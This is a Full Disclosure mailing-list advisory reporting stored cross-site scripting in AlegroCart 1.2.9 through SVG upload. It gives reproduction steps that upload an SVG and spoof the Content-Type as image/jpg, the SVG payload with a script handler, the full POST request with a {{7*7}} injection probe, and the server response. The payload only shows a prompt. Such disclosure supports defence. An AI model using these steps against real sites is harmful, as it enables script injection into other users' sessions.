full-disclosure - [FD] XSS via SVG Image Upload

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Message-ID: <CAF2Wu1YQ2kc7WN+C7v6AreZ2EJwj+_=W5MNzkK-ji72hCOf5pw@mail.gmail.com>
Date: Wed, 23 Apr 2025 22:06:57 +0100
From: Andrey Stoykov <mwebsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] XSS via SVG Image Upload - AlegroCartv1.2.9

# Exploit Title: XSS via SVG Image Upload - alegrocartv1.2.9
# Date: 04/2025
# Exploit Author: Andrey Stoykov
# Version: 1.2.9
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

XSS via SVG Image Upload:

Steps to Reproduce:

1. Visit http://192.168.58.129/alegrocart/administrator/?controller=download
2. Upload SVG image file with the contents below
3. Intercept the POST request and change the Content-Type to "Content-Type:
image/jpg"
4. Then visit "http://192.168.58.129/alegrocart/download/xss.svg" to
trigger the XSS

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
    <foreignObject width="100%" height="100%">
        <body xmlns="http://www.w3.org/1999/xhtml">
            <input type="text" onkeyup="prompt('XSS Triggered!')"
placeholder="Type here..."/>
        </body>
    </foreignObject>
</svg>

// HTTP POST request

POST /alegrocart/administrator/?controller=download&action=insert HTTP/1.1
Host: 192.168.58.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
Gecko/20100101 Firefox/138.0
[...]

------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="language[1][name]"

{{7*7}}
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="fileName"

xss.svg
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="download"; filename="xss.svg"
Content-Type: image/jpg

<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
    <foreignObject width="100%" height="100%">
        <body xmlns="http://www.w3.org/1999/xhtml">
            <input type="text" onkeyup="prompt('XSS Triggered!')"
placeholder="Type here..."/>
        </body>
    </foreignObject>
</svg>
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="mask"

6760664742675684.svg
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="remaining"

1
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name="79d45153379f999ff64e1198b05faae6"

586fdeeeaf42c0c557291be4d32afe11
------geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc--

// HTTP Response

HTTP/1.1 302 Found
Date: Thu, 03 Apr 2025 20:42:59 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Location:
http://192.168.58.129/alegrocart/administrator/?controller=download
Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate
Expires: Thu, 03 Apr 2025 20:42:59 GMT
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
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